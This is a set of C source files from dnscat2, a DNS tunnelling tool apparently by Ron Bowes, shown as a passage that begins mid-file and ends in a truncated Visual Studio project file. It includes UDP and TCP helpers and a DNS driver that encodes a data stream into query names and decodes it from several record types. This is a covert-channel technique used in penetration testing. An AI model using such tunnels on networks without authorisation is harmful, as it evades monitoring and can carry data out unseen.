42 fprintf(stderr, "Error: dropped user account has root privileges; please specify a better\n");
43 fprintf(stderr, "one with -u.\n");
44 }
45 else
46 {
47 /* fprintf(stderr, "Dropping privileges to account %s:%d.\n", user->pw_name, user->pw_uid); */
48 if(setuid(user->pw_uid))
49 {
50 LOG_FATAL("Failed to drop privileges to %s!", username);
51 exit(1);
52 }
53 }
54
55 /* Ensure it succeeded. */
56 if(setuid(0) == 0)
57 {
58 fprintf(stderr, "Privilege drop failed, sorry!\n");
59 exit(1);
60 }
61 }
62 #endif
63 }
64
65 int getlasterror()
66 {
67 #ifdef WIN32
68 if(errno)
69 return errno;
70 if(GetLastError())
71 return GetLastError();
72 return WSAGetLastError();
73 #else
74 return errno;
75 #endif
76 }
77
78 /* Displays an error and doesn't die. */
79 void nberror(char *str)
80 {
81 int error = getlasterror();
82
83 #ifdef WIN32
84 char error_str[1024];
85 FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, error, 0, error_str, 1024, NULL);
86
87 if(str)
88 fprintf(stderr, "%s\n", str);
89
90 fprintf(stderr, "Error %d: %s", error, error_str);
91
92 #else
93 char *error_str = strerror(error);
94 if(str)
95 fprintf(stderr, "%s (error %d: %s)\n", str, error, error_str);
96 else
97 fprintf(stderr, "Error %d: %s\n", error, error_str);
98
99 #endif
100 }
101
102 void nbdie(char *str)
103 {
104 nberror(str);
105 exit(EXIT_FAILURE);
106 }
107
108 void print_hex(char *label, uint8_t *data, size_t length)
109 {
110 size_t i;
111
112 printf("%s: ", label);
113 for(i = 0; i < length; i++)
114 printf("%02x", data[i] & 0x0FF);
115 printf("\n");
116 }
117
0 /* types.h
1 * By Ron Bowes
2 * Created September 1, 2008
3 *
4 * (See LICENSE.md)
5 *
6 * Defines (or includes libraries that define) various required datatypes.
7 *
8 * Additionally, this module implements several miscellanious functions in a
9 * platform-independent way.
10 *
11 * You'll notice things with nb* names - that dates back to the
12 * heritage, a lot of dnscat2 stuff came from dnscat1, which was part of
13 * my 'nbtool' library for hacking netbios. History lesson!
14 */
15
16 #ifndef __TYPES_H__
17 #define __TYPES_H__
18
19 #ifndef WIN32
20 /* OS X doesn't seem to have INADDR_NONE defined in all cases. */
21 /* If this causes a compile error on some system, try putting "#ifdef __APPLE__"
22 * around it. */
23 #ifndef INADDR_NONE
24 #define INADDR_NONE ((in_addr_t) -1)
25 #endif
26 #endif
27
28 #ifdef WIN32
29 #include "pstdint.h"
30
31 /* Define ssize_t because Windows doesn't. */
32 #ifndef _SSIZE_T_DEFINED
33 #ifdef _WIN64
34 typedef unsigned __int64 ssize_t;
35 #else
36 typedef _W64 unsigned int ssize_t;
37 #endif
38 #define _SSIZE_T_DEFINED
39 #endif
40
41 #else
42 #include <stdint.h>
43 #endif
44
45 #include <stdlib.h>
46
47 #ifndef TRUE
48 typedef enum
49 {
50 FALSE,
51 TRUE
52 } NBBOOL;
53 #else
54 typedef int NBBOOL;
55 #endif
56
57 #ifdef WIN32
58 typedef int socklen_t;
59 #define strcasecmp _strcmpi
60 #define strcasestr nbstrcasestr
61 #define fileno _fileno
62 #define write _write
63 #endif
64
65 #ifndef MIN
66 #define MIN(a,b) (a < b ? a : b)
67 #endif
68
69 #ifndef MAX
70 #define MAX(a,b) (a > b ? a : b)
71 #endif
72
73 #define DIE(a) {fprintf(stderr, "Unrecoverable error in %s(%d): %s\n\n", __FILE__, __LINE__, a); abort();}
74 #define DIE_MEM() {DIE("Out of memory.");}
75
76 /* Drop privileges to the chosen user, then verify that root can't be re-enabled. */
77 void drop_privileges(char *username);
78
79 /* Get the last error, independent of platform. */
80 int getlasterror();
81
82 /* Displays an error and doesn't die. The getlasterror() function is used as well as the appropriate
83 * error-message-display function for the platform. If str is non-NULL, it's also displayed. */
84 void nberror(char *str);
85
86 /* Displays an error using nberror(), then dies. */
87 void nbdie(char *str);
88
89 /* Implementation of strcasestr() for Windows. */
90 char *nbstrcasestr(char *haystack, char *needle);
91
92 /* Print a hex string, comes in handy a lot! */
93 void print_hex(char *label, uint8_t *data, size_t length);
94
95 #endif
96
0 /* udp.c
1 * By Ron
2 * Created August, 2008
3 *
4 * (See LICENSE.md)
5 */
6
7 #include <stdio.h>
8 #include <stdlib.h>
9 #include <string.h>
10
11 #ifdef WIN32
12 #include <winsock2.h>
13 #else
14 #include <netdb.h>
15 #include <unistd.h>
16 #include <arpa/inet.h>
17 #include <netinet/in.h>
18 #include <sys/socket.h>
19 #include <sys/types.h>
20 #endif
21
22 #include "udp.h"
23
24 int udp_create_socket(uint16_t port, char *local_address)
25 {
26 int s;
27 int value = 1;
28 struct sockaddr_in sox;
29
30 s = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);
31
32 if(s < 0)
33 nbdie("udp: couldn't create socket");
34
35 if(setsockopt(s, SOL_SOCKET, SO_BROADCAST, (void*)&value, sizeof(int)) < 0)
36 nbdie("udp: couldn't set socket to SO_BROADCAST");
37
38 sox.sin_addr.s_addr = inet_addr(local_address);
39 sox.sin_family = AF_INET;
40 sox.sin_port = htons(port);
41
42 if(sox.sin_addr.s_addr == INADDR_NONE)
43 nbdie("udp: couldn't parse local address");
44
45 if(bind(s, (struct sockaddr *)&sox, sizeof(struct sockaddr_in)) < 0)
46 nbdie("udp: couldn't bind to port (are you running as root?)");
47
48 return s;
49 }
50
51 ssize_t udp_read(int s, void *buffer, size_t buffer_length, struct sockaddr_in *from)
52 {
53 ssize_t received;
54 socklen_t fromlen = sizeof(struct sockaddr_in);
55
56 memset(from, 0, sizeof(struct sockaddr));
57
58 received = recvfrom(s, buffer, buffer_length, 0, (struct sockaddr *)from, &fromlen);
59
60 if( received < 0 )
61 nbdie("udp: couldn't receive data");
62
63 return received;
64 }
65
66 ssize_t udp_send(int sock, char *address, uint16_t port, void *data, size_t length)
67 {
68 int result = -1;
69 struct sockaddr_in serv_addr;
70 struct hostent *server;
71
72 /* Look up the host */
73 server = gethostbyname(address);
74 if(!server)
75 {
76 fprintf(stderr, "Couldn't find host %s\n", address);
77 }
78 else
79 {
80 /* Set up the server address */
81 memset(&serv_addr, '\0', sizeof(serv_addr));
82 serv_addr.sin_family = AF_INET;
83 serv_addr.sin_port = htons(port);
84 memcpy(&serv_addr.sin_addr, server->h_addr_list[0], server->h_length);
85
86 result = sendto(sock, data, length, 0, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in));
87
88 if( result < 0 )
89 nbdie("udp: couldn't send data");
90 }
91
92 return result;
93 }
94
95 int udp_close(int s)
96 {
97 #ifdef WIN32
98 return closesocket(s);
99 #else
100 return close(s);
101 #endif
102 }
0 /* udp.h
1 * By Ron
2 * Created August, 2008
3 *
4 * (See LICENSE.md)
5 *
6 * Platform-independent module for creating/sending IPv4 UDP packets.
7 */
8
9 #ifndef __UDP_H__
10 #define __UDP_H__
11
12 /*#ifdef WIN32
13 #include <winsock2.h>
14 #else
15 #include <netdb.h>
16 #include <unistd.h>
17 #include <arpa/inet.h>
18 #include <netinet/in.h>
19 #endif*/
20
21 #include "types.h"
22
23 /* Must be called before any other functions. This is actually defined in tcp.c. */
24 void winsock_initialize();
25
26 /* Create a UDP socket on the given port. */
27 int udp_create_socket(uint16_t port, char *local_address);
28
29 /* Read from the new socket, filling in the 'from' field if given. Not currently being used. */
30 /*ssize_t udp_read(int s, void *buffer, size_t buffer_length, struct sockaddr_in *from);*/
31
32 /* Send data to the given address on the given port. */
33 ssize_t udp_send(int sock, char *address, uint16_t port, void *data, size_t length);
34
35 /* Close the UDP socket. */
36 int udp_close(int s);
37
38 #endif
0 /* options_tcp.c
1 * Created March/2013
2 * By Ron Bowes
3 *
4 * See LICENSE.md
5 */
6 #include <assert.h>
7 #include <errno.h>
8 #include <getopt.h>
9 #include <stdio.h>
10 #include <stdlib.h>
11 #include <string.h>
12 #include <time.h>
13 #include <sys/socket.h>
14
15 #include "buffer.h"
16 #include "log.h"
17 #include "memory.h"
18 #include "select_group.h"
19 #include "session.h"
20 #include "tcp.h"
21 #include "ui_stdin.h"
22
23 typedef struct
24 {
25 session_t *session;
26
27 int s;
28 char *host;
29 uint16_t port;
30
31 /* This is for buffering data until we get a full packet */
32 buffer_t *buffer;
33
34 select_group_t *group;
35
36 /* The UI */
37 ui_stdin_t *ui_stdin;
38 } options_t;
39
40 #define DEFAULT_HOST "localhost"
41 #define DEFAULT_PORT 4444
42
43 options_t *options = NULL;
44
45 static SELECT_RESPONSE_t timeout(void *group, void *param)
46 {
47 options_t *options = (options_t*) param;
48
49 session_do_actions(options->session);
50
51 return SELECT_OK;
52 }
53
54 static SELECT_RESPONSE_t recv_callback(void *group, int s, uint8_t *data, size_t length, char *addr, uint16_t port, void *param)
55 {
56 options_t *options = (options_t*)param;
57
58 /* Cleanup - if the buffer is empty, reset it */
59 if(buffer_get_remaining_bytes(options->buffer) == 0)
60 buffer_clear(options->buffer);
61
62 buffer_add_bytes(options->buffer, data, length);
63
64 /* If we have at least a length value */
65 if(buffer_get_remaining_bytes(options->buffer) >= 2)
66 {
67 /* Read the length. */
68 uint16_t expected_length = buffer_peek_next_int16(options->buffer);
69
70 /* Check if we have the full length. */
71 if(buffer_get_remaining_bytes(options->buffer) - 2 >= expected_length)
72 {
73 uint8_t *data;
74 size_t returned_length;
75
76 /* Consume the value we already know */
77 buffer_read_next_int16(options->buffer);
78
79 /* Read the rest of the buffer. */
80 data = buffer_read_remaining_bytes(options->buffer, &returned_length, expected_length, TRUE);
81
82 /* Sanity check. */
83 assert(expected_length == returned_length);
84
85 /* Do the callback. */
86 session_recv(options->session, data, returned_length);
87
88 /* Free it. */
89 safe_free(data);
90
91 /* Clear the buffer if it's empty. */
92 if(buffer_get_remaining_bytes(options->buffer) == 0)
93 buffer_clear(options->buffer);
94 }
95 }
96
97 return SELECT_OK;
98 }
99
100 void tcpcat_close(options_t *options)
101 {
102 LOG_INFO("Close()");
103
104 assert(options->s && options->s != -1); /* We can't close a closed socket */
105
106 /* Remove from the select_group */
107 select_group_remove_and_close_socket(options->group, options->s);
108 options->s = -1;
109 }
110
111 static SELECT_RESPONSE_t closed_callback(void *group, int s, void *param)
112 {
113 options_t *options = (options_t*)param;
114
115 LOG_ERROR("Connection closed");
116
117 tcpcat_close(options);
118
119 return SELECT_OK;
120 }
121
122 void tcpcat_send(uint8_t *data, size_t length, void *d)
123 {
124 options_t *options = (options_t*) d;
125 buffer_t *buffer;
126 uint8_t *encoded_data;
127 size_t encoded_length;
128
129 if(options->s == -1)
130 {
131 /* Attempt a TCP connection */
132 LOG_INFO("Connecting to %s:%d", options->host, options->port);
133 options->s = tcp_connect(options->host, options->port);
134
135 /* If it fails, just return (it will try again next send) */
136 if(options->s == -1)
137 {
138 LOG_FATAL("Connection failed!");
139 exit(1);
140 }
141
142 /* If it succeeds, add it to the select_group */
143 select_group_add_socket(options->group, options->s, SOCKET_TYPE_STREAM, options);
144 select_set_recv(options->group, options->s, recv_callback);
145 select_set_closed(options->group, options->s, closed_callback);
146 }
147
148 assert(options->s != -1); /* Make sure we have a valid socket. */
149 assert(data); /* Make sure they aren't trying to send NULL. */
150 assert(length > 0); /* Make sure they aren't trying to send 0 bytes. */
151
152 buffer = buffer_create(BO_BIG_ENDIAN);
153 buffer_add_int16(buffer, length);
154 buffer_add_bytes(buffer, data, length);
155 encoded_data = buffer_create_string_and_destroy(buffer, &encoded_length);
156
157 if(tcp_send(options->s, encoded_data, encoded_length) == -1)
158 {
159 LOG_ERROR("[[TCP]] send error, closing socket!");
160 tcpcat_close(options);
161 }
162 }
163
164 void cleanup()
165 {
166 LOG_INFO("[[tcpcat]] :: Terminating");
167
168 if(options)
169 {
170 session_destroy(options->session, options->group);
171
172 /* Ensure the options is closed */
173 if(options->s != -1)
174 tcpcat_close(options);
175 buffer_destroy(options->buffer);
176 safe_free(options);
177 options = NULL;
178 }
179
180 print_memory();
181 }
182
183 int main(int argc, char *argv[])
184 {
185 /* Define the options specific to the DNS protocol. */
186 struct option long_options[] =
187 {
188 {"host", required_argument, 0, 0},
189 {"port", required_argument, 0, 0},
190 {0, 0, 0, 0} /* End */
191 };
192 char c;
193 int option_index;
194 const char *option_name;
195
196 options = safe_malloc(sizeof(options_t));
197
198 srand(time(NULL));
199
200 /* Set up some default options. */
201 options->s = -1;
202
203 options->host = DEFAULT_HOST;
204 options->port = DEFAULT_PORT;
205 options->buffer = buffer_create(BO_BIG_ENDIAN);
206 options->group = select_group_create();
207 options->session = session_create(options->group, tcpcat_send, options, 65535);
208
209 /* Parse the command line options. */
210 opterr = 0;
211 while((c = getopt_long_only(argc, argv, "", long_options, &option_index)) != EOF)
212 {
213 switch(c)
214 {
215 case 0:
216 option_name = long_options[option_index].name;
217
218 if(!strcmp(option_name, "host"))
219 {
220 options->host = optarg;
221 }
222 else if(!strcmp(option_name, "port"))
223 {
224 options->port = atoi(optarg);
225 }
226 else
227 {
228 LOG_FATAL("Unknown option: %s\n", option_name);
229 exit(1);
230 /* TODO: Usage */
231 }
232 break;
233
234 case '?':
235 default:
236 /* Do nothing; we expect some unknown arguments. */
237 break;
238 }
239 }
240
241 /* Tell the user what's going on */
242 LOG_INFO("Host: %s\n", options->host);
243 LOG_INFO("Port: %d\n", options->port);
244
245 atexit(cleanup);
246
247 /* Add the timeout function */
248 select_set_timeout(options->group, timeout, (void*)options);
249
250 while(TRUE)
251 select_group_do_select(options->group, 1000);
252
253 return 0;
254 }
255
0 /* driver_dns.c
1 * Created July/2013
2 * By Ron Bowes
3 *
4 * See LICENSE.md
5 */
6
7 #include <assert.h>
8 #include <ctype.h>
9 #include <stdio.h>
10 #include <string.h>
11
12 #include "controller/controller.h"
13 #include "libs/buffer.h"
14 #include "libs/dns.h"
15 #include "libs/log.h"
16 #include "libs/memory.h"
17 #include "libs/types.h"
18 #include "libs/udp.h"
19
20 #include "driver_dns.h"
21
22 #define MAX_FIELD_LENGTH 62
23 #define MAX_DNS_LENGTH 255
24 #define WILDCARD_PREFIX "dnscat"
25
26 /* The max length is a little complicated:
27 * 255 because that's the max DNS length
28 * Halved, because we encode in hex
29 * Minus the length of the domain, which is appended
30 * Minus 1, for the period right before the domain
31 * Minus the number of periods that could appear within the name
32 */
33 #define MAX_DNSCAT_LENGTH(domain) ((255/2) - (domain ? strlen(domain) : strlen(WILDCARD_PREFIX)) - 1 - ((MAX_DNS_LENGTH / MAX_FIELD_LENGTH) + 1))
34
35 #define HEXCHAR(c) ((c) < 10 ? ((c)+'0') : (((c)-10) + 'a'))
36
37 static SELECT_RESPONSE_t dns_data_closed(void *group, int socket, void *param)
38 {
39 LOG_FATAL("DNS socket closed!");
40 exit(0);
41
42 return SELECT_OK;
43 }
44
45 static uint8_t *remove_domain(char *str, char *domain)
46 {
47 if(domain)
48 {
49 char *fixed = NULL;
50
51 if(!strstr(str, domain))
52 {
53 LOG_ERROR("The response didn't contain the domain name: %s", str);
54 return NULL;
55 }
56
57 /* The server returns an empty domain name for all errors. */
58 if(!strcmp(str, domain))
59 {
60 LOG_INFO("The response was just the domain name: %s", str);
61 return NULL;
62 }
63
64 fixed = safe_strdup(str);
65 fixed[strlen(str) - strlen(domain) - 1] = '\0';
66
67 return (uint8_t*)fixed;
68 }
69 else
70 {
71 return (uint8_t*)safe_strdup(str += strlen(WILDCARD_PREFIX));
72 }
73 }
74
75 static uint8_t *buffer_decode_hex(uint8_t *str, size_t *length)
76 {
77 size_t i = 0;
78 buffer_t *out = buffer_create(BO_BIG_ENDIAN);
79
80 while(i < *length)
81 {
82 uint8_t c1 = 0;
83 uint8_t c2 = 0;
84
85 /* Read the first character, ignoring periods */
86 do
87 {
88 c1 = toupper(str[i++]);
89 } while(c1 == '.' && i < *length);
90
91 /* Make sure we aren't at the end of the buffer. */
92 if(i >= *length)
93 {
94 LOG_ERROR("Couldn't hex-decode the name (name was an odd length): %s", str);
95 return NULL;
96 }
97
98 /* Make sure we got a hex digit */
99 if(!isxdigit(c1))
100 {
101 LOG_ERROR("Couldn't hex-decode the name (contains non-hex characters): %s", str);
102 return NULL;
103 }
104
105 /* Read the second character. */
106 do
107 {
108 c2 = toupper(str[i++]);
109 } while(c2 == '.' && i < *length);
110
111 /* Make sure we got a hex digit */
112 if(!isxdigit(c2))
113 {
114 LOG_ERROR("Couldn't hex-decode the name (contains non-hex characters): %s", str);
115 return NULL;
116 }
117
118 c1 = ((c1 < 'A') ? (c1 - '0') : (c1 - 'A' + 10));
119 c2 = ((c2 < 'A') ? (c2 - '0') : (c2 - 'A' + 10));
120
121 buffer_add_int8(out, (c1 << 4) | c2);
122 }
123
124 return buffer_create_string_and_destroy(out, length);
125 }
126
127 static int cmpfunc_a(const void *a, const void *b)
128 {
129 return ((const answer_t*)a)->answer->A.bytes[0] - ((const answer_t*)b)->answer->A.bytes[0];
130 }
131
132 #ifndef WIN32
133 static int cmpfunc_aaaa(const void *a, const void *b)
134 {
135 return ((const answer_t*)a)->answer->AAAA.bytes[0] - ((const answer_t*)b)->answer->AAAA.bytes[0];
136 }
137 #endif
138
139 static dns_type_t get_type(driver_dns_t *driver)
140 {
141 return driver->types[rand() % driver->type_count];
142 }
143
144 static void do_send(driver_dns_t *driver)
145 {
146 size_t i;
147 dns_t *dns;
148 buffer_t *buffer;
149 uint8_t *encoded_bytes;
150 size_t encoded_length;
151 uint8_t *dns_bytes;
152 size_t dns_length;
153 size_t section_length;
154
155 size_t length;
156 uint8_t *data = controller_get_outgoing((size_t*)&length, (size_t)MAX_DNSCAT_LENGTH(driver->domain));
157
158 /* If we aren't supposed to send anything (like we're waiting for a timeout),
159 * data is NULL. */
160 if(!data)
161 return;
162
163 assert(driver->s != -1); /* Make sure we have a valid socket. */
164 assert(data); /* Make sure they aren't trying to send NULL. */
165 assert(length > 0); /* Make sure they aren't trying to send 0 bytes. */
166 assert(length <= MAX_DNSCAT_LENGTH(driver->domain));
167
168 buffer = buffer_create(BO_BIG_ENDIAN);
169
170 /* If no domain is set, add the wildcard prefix at the start. */
171 if(!driver->domain)
172 {
173 buffer_add_bytes(buffer, (uint8_t*)WILDCARD_PREFIX, strlen(WILDCARD_PREFIX));
174 buffer_add_int8(buffer, '.');
175 }
176
177 /* Keep track of the length of the current section (the characters between two periods). */
178 section_length = 0;
179 for(i = 0; i < length; i++)
180 {
181 buffer_add_int8(buffer, HEXCHAR((data[i] >> 4) & 0x0F));
182 buffer_add_int8(buffer, HEXCHAR((data[i] >> 0) & 0x0F));
183
184 /* Add periods when we need them. */
185 section_length += 2;
186 if(i + 1 != length && section_length + 2 >= MAX_FIELD_LENGTH)
187 {
188 section_length = 0;
189 buffer_add_int8(buffer, '.');
190 }
191 }
192
193 /* If a domain is set, instead of the wildcard prefix, add the domain to the end. */
194 if(driver->domain)
195 {
196 buffer_add_int8(buffer, '.');
197 buffer_add_bytes(buffer, driver->domain, strlen(driver->domain));
198 }
199 buffer_add_int8(buffer, '\0');
200
201 /* Get the result out. */
202 encoded_bytes = buffer_create_string_and_destroy(buffer, &encoded_length);
203
204 /* Double-check we didn't mess up the length. */
205 assert(encoded_length <= MAX_DNS_LENGTH);
206
207 dns = dns_create(_DNS_OPCODE_QUERY, _DNS_FLAG_RD, _DNS_RCODE_SUCCESS);
208 dns_add_question(dns, (char*)encoded_bytes, get_type(driver), _DNS_CLASS_IN);
209 dns_bytes = dns_to_packet(dns, &dns_length);
210
211 LOG_INFO("Sending DNS query for: %s to %s:%d", encoded_bytes, driver->dns_server, driver->dns_port);
212 udp_send(driver->s, driver->dns_server, driver->dns_port, dns_bytes, dns_length);
213
214 safe_free(dns_bytes);
215 safe_free(encoded_bytes);
216 safe_free(data);
217
218 dns_destroy(dns);
219 }
220
221 static SELECT_RESPONSE_t timeout_callback(void *group, void *param)
222 {
223 do_send((driver_dns_t*)param);
224 controller_heartbeat();
225
226 return SELECT_OK;
227 }
228
229 static SELECT_RESPONSE_t recv_socket_callback(void *group, int s, uint8_t *data, size_t length, char *addr, uint16_t port, void *param)
230 {
231 /*driver_dns_t *driver_dns = param;*/
232 dns_t *dns = dns_create_from_packet(data, length);
233 driver_dns_t *driver = (driver_dns_t*) param;
234
235 LOG_INFO("DNS response received (%d bytes)", length);
236
237 if(dns->rcode != _DNS_RCODE_SUCCESS)
238 {
239 switch(dns->rcode)
240 {
241 case _DNS_RCODE_FORMAT_ERROR:
242 LOG_ERROR("DNS: RCODE_FORMAT_ERROR");
243 break;
244 case _DNS_RCODE_SERVER_FAILURE:
245 LOG_ERROR("DNS: RCODE_SERVER_FAILURE");
246 break;
247 case _DNS_RCODE_NAME_ERROR:
248 LOG_ERROR("DNS: RCODE_NAME_ERROR");
249 break;
250 case _DNS_RCODE_NOT_IMPLEMENTED:
251 LOG_ERROR("DNS: RCODE_NOT_IMPLEMENTED");
252 break;
253 case _DNS_RCODE_REFUSED:
254 LOG_ERROR("DNS: RCODE_REFUSED");
255 break;
256 default:
257 LOG_ERROR("DNS: Unknown error code (0x%04x)", dns->rcode);
258 break;
259 }
260 }
261 else if(dns->question_count != 1)
262 {
263 LOG_ERROR("DNS returned the wrong number of response fields (question_count should be 1, was instead %d).", dns->question_count);
264 LOG_ERROR("This is probably due to a DNS error");
265 }
266 else if(dns->answer_count < 1)
267 {
268 LOG_ERROR("DNS didn't return an answer");
269 LOG_ERROR("This is probably due to a DNS error");
270 }
271 else
272 {
273 size_t i;
274
275 uint8_t *answer = NULL;
276 uint8_t *tmp_answer = NULL;
277 size_t answer_length = 0;
278 dns_type_t type = dns->answers[0].type;
279
280 if(type == _DNS_TYPE_TEXT)
281 {
282 LOG_INFO("Received a TXT response: %s", dns->answers[0].answer->TEXT.text);
283
284 /* Get the answer. */
285 tmp_answer = dns->answers[0].answer->TEXT.text;
286 answer_length = dns->answers[0].answer->TEXT.length;
287
288 /* Decode it. */
289 answer = buffer_decode_hex(tmp_answer, &answer_length);
290 }
291 else if(type == _DNS_TYPE_CNAME)
292 {
293 LOG_INFO("Received a CNAME response: %s", (char*)dns->answers[0].answer->CNAME.name);
294
295 /* Get the answer. */
296 tmp_answer = remove_domain((char*)dns->answers[0].answer->CNAME.name, driver->domain);
297 if(!tmp_answer)
298 {
299 answer = NULL;
300 }
301 else
302 {
303 answer_length = strlen((char*)tmp_answer);
304
305 /* Decode it. */
306 answer = buffer_decode_hex(tmp_answer, &answer_length);
307 safe_free(tmp_answer);
308 }
309 }
310 else if(type == _DNS_TYPE_MX)
311 {
312 LOG_INFO("Received a MX response: %s", (char*)dns->answers[0].answer->MX.name);
313
314 /* Get the answer. */
315 tmp_answer = remove_domain((char*)dns->answers[0].answer->MX.name, driver->domain);
316 if(!tmp_answer)
317 {
318 answer = NULL;
319 }
320 else
321 {
322 answer_length = strlen((char*)tmp_answer);
323 LOG_INFO("Received a MX response (%zu bytes)", answer_length);
324
325 /* Decode it. */
326 answer = buffer_decode_hex(tmp_answer, &answer_length);
327 safe_free(tmp_answer);
328 }
329 }
330 else if(type == _DNS_TYPE_A)
331 {
332 buffer_t *buf = buffer_create(BO_BIG_ENDIAN);
333
334 qsort(dns->answers, dns->answer_count, sizeof(answer_t), cmpfunc_a);
335
336 for(i = 0; i < dns->answer_count; i++)
337 buffer_add_bytes(buf, dns->answers[i].answer->A.bytes + 1, 3);
338
339 answer_length = buffer_read_next_int8(buf);
340 LOG_INFO("Received an A response (%zu bytes)", answer_length);
341
342 answer = safe_malloc(answer_length);
343 buffer_read_bytes_at(buf, 1, answer, answer_length);
344 }
345 #ifndef WIN32
346 else if(type == _DNS_TYPE_AAAA)
347 {
348 buffer_t *buf = buffer_create(BO_BIG_ENDIAN);
349
350 qsort(dns->answers, dns->answer_count, sizeof(answer_t), cmpfunc_aaaa);
351
352 for(i = 0; i < dns->answer_count; i++)
353 buffer_add_bytes(buf, dns->answers[i].answer->AAAA.bytes + 1, 15);
354
355 answer_length = buffer_read_next_int8(buf);
356 LOG_INFO("Received an AAAA response (%zu bytes)", answer_length);
357
358 answer = safe_malloc(answer_length);
359 buffer_read_bytes_at(buf, 1, answer, answer_length);
360 }
361 #endif
362 else
363 {
364 LOG_ERROR("Unknown DNS type returned: %d", type);
365 answer = NULL;
366 }
367
368 if(answer)
369 {
370 /*LOG_WARNING("Received a %zu-byte DNS response: %s [0x%04x]", answer_length, answer, type);*/
371
372 /* Pass the buffer to the caller */
373 if(answer_length > 0)
374 {
375 /* Pass the data elsewhere. */
376 if(controller_data_incoming(answer, answer_length))
377 do_send(driver);
378 }
379
380 safe_free(answer);
381 }
382 }
383
384 dns_destroy(dns);
385
386 return SELECT_OK;
387 }
388
389 driver_dns_t *driver_dns_create(select_group_t *group, char *domain, char *host, uint16_t port, char *types, char *server)
390 {
391 driver_dns_t *driver = (driver_dns_t*) safe_malloc(sizeof(driver_dns_t));
392 char *token = NULL;
393
394 /* Create the actual DNS socket. */
395 LOG_INFO("Creating UDP (DNS) socket on %s", host);
396 driver->s = udp_create_socket(0, host);
397 if(driver->s == -1)
398 {
399 LOG_FATAL("Couldn't create UDP socket!");
400 exit(1);
401 }
402
403 /* Set the domain and stuff. */
404 driver->group = group;
405 driver->domain = domain;
406 driver->dns_port = port;
407 driver->dns_server = server;
408
409 /* Allow the user to choose 'any' protocol. */
410 if(!strcmp(types, "ANY"))
411 types = DNS_TYPES;
412
413 /* Make a copy of types, since strtok() changes it. */
414 types = safe_strdup(types);
415
416 driver->type_count = 0;
417 for(token = strtok(types, ", "); token && driver->type_count < DNS_MAX_TYPES; token = strtok(NULL, ", "))
418 {
419 if(!strcmp(token, "TXT") || !strcmp(token, "TEXT"))
420 driver->types[driver->type_count++] = _DNS_TYPE_TEXT;
421 else if(!strcmp(token, "MX"))
422 driver->types[driver->type_count++] = _DNS_TYPE_MX;
423 else if(!strcmp(token, "CNAME"))
424 driver->types[driver->type_count++] = _DNS_TYPE_CNAME;
425 else if(!strcmp(token, "A"))
426 driver->types[driver->type_count++] = _DNS_TYPE_A;
427 #ifndef WIN32
428 else if(!strcmp(token, "AAAA"))
429 driver->types[driver->type_count++] = _DNS_TYPE_AAAA;
430 #endif
431 }
432
433 /* Now that we no longer need types. */
434 safe_free(types);
435
436 if(driver->type_count == 0)
437 {
438 LOG_FATAL("You didn't pass any valid DNS types to use! Allowed types are "DNS_TYPES);
439 exit(1);
440 }
441
442 /* If it succeeds, add it to the select_group */
443 select_group_add_socket(group, driver->s, SOCKET_TYPE_STREAM, driver);
444 select_set_recv(group, driver->s, recv_socket_callback);
445 select_set_timeout(group, timeout_callback, driver);
446 select_set_closed(group, driver->s, dns_data_closed);
447
448 return driver;
449 }
450
451 void driver_dns_destroy(driver_dns_t *driver)
452 {
453 safe_free(driver);
454 }
455
456 void driver_dns_go(driver_dns_t *driver)
457 {
458 /* Do a fake timeout at the start so we can get going more quickly. */
459 timeout_callback(driver->group, driver);
460
461 /* Loop forever and poke the socket. */
462 while(TRUE)
463 select_group_do_select(driver->group, 50);
464 }
0 /* driver_dns.h
1 * By Ron Bowes
2 *
3 * See LICENSE.md
4 *
5 * This is a "tunnel driver" for DNS. What that means is, it converts data
6 * on the wire - in this case, DNS packets - into a stream of bytes that
7 * form the actual dnscat protocol.
8 *
9 * By abstracting out the 'tunnel protocol' from the dnscat protocol, it
10 * makes it trivial to use the same program to tunnel over multiple different
11 * protocols - DNS, ICMP, etc.
12 */
13
14 #ifndef __DRIVER_DNS_H__
15 #define __DRIVER_DNS_H__
16
17 #include "libs/dns.h"
18 #include "libs/select_group.h"
19
20 /* Types of DNS queries we support */
21 #ifndef WIN32
22 #define DNS_TYPES "TXT, CNAME, MX, A, AAAA"
23 #else
24 #define DNS_TYPES "TXT, CNAME, MX, A"
25 #endif
26
27 /* The default types. */
28 #define DEFAULT_TYPES "TXT,CNAME,MX"
29
30 /* The maximum number of types that can be selected amongst. */
31 #define DNS_MAX_TYPES 32
32
33 typedef struct
34 {
35 int s;
36
37 select_group_t *group;
38 char *domain;
39 char *dns_server;
40 int dns_port;
41
42 NBBOOL is_closed;
43
44 dns_type_t types[DNS_MAX_TYPES];
45 size_t type_count;
46
47 } driver_dns_t;
48
49 driver_dns_t *driver_dns_create(select_group_t *group, char *domain, char *host, uint16_t port, char *types, char *server);
50 void driver_dns_destroy();
51 void driver_dns_go(driver_dns_t *driver);
52
53 #endif
0 /* tunnel_driver.h
1 * Created April/2015
2 * By Ron Bowes
3 *
4 * See LICENSE.md
5 *
6 * This is currently only used for constants. It may be used more in the future,
7 * the same way that driver.h is.
8 */
9
10 typedef enum
11 {
12 TUNNEL_DRIVER_DNS,
13 } tunnel_driver_type_t;
0 <?xml version="1.0" encoding="Windows-1252"?>
1 <VisualStudioProject
2 ProjectType="Visual C++"
3 Version="9.00"
4 Name="dnscat2"
5 ProjectGUID="{ADBA364D-BC56-49A2-BDFB-C13EADFDDE49}"
6 RootNamespace="dnscat2"
7 Keyword="Win32Proj"
8 TargetFrameworkVersion="196613"
9 >
10 <Platforms>
11 <Platform
12 Name="Win32"
13 />
14 </Platforms>
15 <ToolFiles>
16 </ToolFiles>
17 <Configurations>
18 <Configuration
19 Name="Debug|Win32"
20 OutputDirectory="$(SolutionDir)$(ConfigurationName)"
21 IntermediateDirectory="$(ConfigurationName)"
22 ConfigurationType="1"
23 CharacterSet="2"
24 >
25 <Tool
26 Name="VCPreBuildEventTool"
27 />
28 <Tool
29 Name="VCCustomBuildTool"
30 />
31 <Tool
32 Name="VCXMLDataGeneratorTool"
33 />
34 <Tool
35 Name="VCWebServiceProxyGeneratorTool"
36 />
37 <Tool
38 Name="VCMIDLTool"
39 />
40 <Tool
41 Name="VCCLCompilerTool"
42 Optimization="0"
43 AdditionalIncludeDirectories="..\"
44 PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
45 MinimalRebuild="true"
46 BasicRuntimeChecks="3"
